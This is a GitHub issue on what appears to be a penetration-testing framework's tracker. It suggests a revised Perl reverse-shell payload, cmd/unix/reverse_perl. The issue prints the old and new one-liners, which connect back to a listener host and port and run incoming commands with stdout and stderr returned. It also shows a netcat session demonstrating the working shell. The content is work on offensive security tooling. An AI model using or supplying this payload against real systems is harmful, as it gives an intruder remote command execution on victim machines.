Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Payload cmd/unix/reverse_perl suggestion #184

Closed
wireghoul opened this issue Feb 16, 2012 · 0 comments
Closed

Payload cmd/unix/reverse_perl suggestion #184

wireghoul opened this issue Feb 16, 2012 · 0 comments

Comments

@wireghoul
Copy link

Suggested "improvement" to cmd/unix/reverse_perl.rb

Change payload from
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET#{ver}(PeerAddr,"#{lhost}:#{datastore['LPORT']}");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'"

to
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET#{ver}(PeerAddr,"#{lhost}:#{datastore['LPORT']}");$~->fdopen($c,w);STDERR->fdopen($c,w);print $c "$ ";while(<$c>) { print $c qx($_)."$ ";}'

This allows for a prompt to be displayed and captures both stderr and stdout.

Example:
root@bt:~# nc -lvvvp 999
listening on [any] 999 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 60413
$ ls
aix
bsdi
dialup
freebsd
hpux
irix
linux
multi
netware
osx
solaris
unix
windows
$ ps 9890-asdasd
ERROR: Process ID list syntax error.
********* simple selection ********* ********* selection by list *********
-A all processes -C by command name
-N negate selection -G by real group ID (supports names)
-a all w/ tty except session leaders -U by real user ID (supports names)
-d all except session leaders -g by session OR by effective group name
-e all processes -p by process ID
T all processes on this terminal -s processes in the sessions given
a all w/ tty, including other users -t by tty
g OBSOLETE -- DO NOT USE -u by effective user ID (supports names)
r only running processes U processes for specified users
x processes w/o controlling ttys t by tty
*********** output format ********** *********** long options ***********
-o,o user-defined -f full --Group --User --pid --cols --ppid
-j,j job control s signal --group --user --sid --rows --info
-O,O preloaded -o v virtual memory --cumulative --format --deselect
-l,l long u user-oriented --sort --tty --forest --version
-F extra full X registers --heading --no-heading --context
********* misc options *********
-V,V show version L list format codes f ASCII art forest
-m,m,-L,-T,H threads S children in sum -y change -l format
-M,Z security data c true command name -c scheduling class
-w,w wide output n numeric WCHAN,UID -H process hierarchy
$ nosuchcommand generates no output
$

Hope you liek teh milk!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant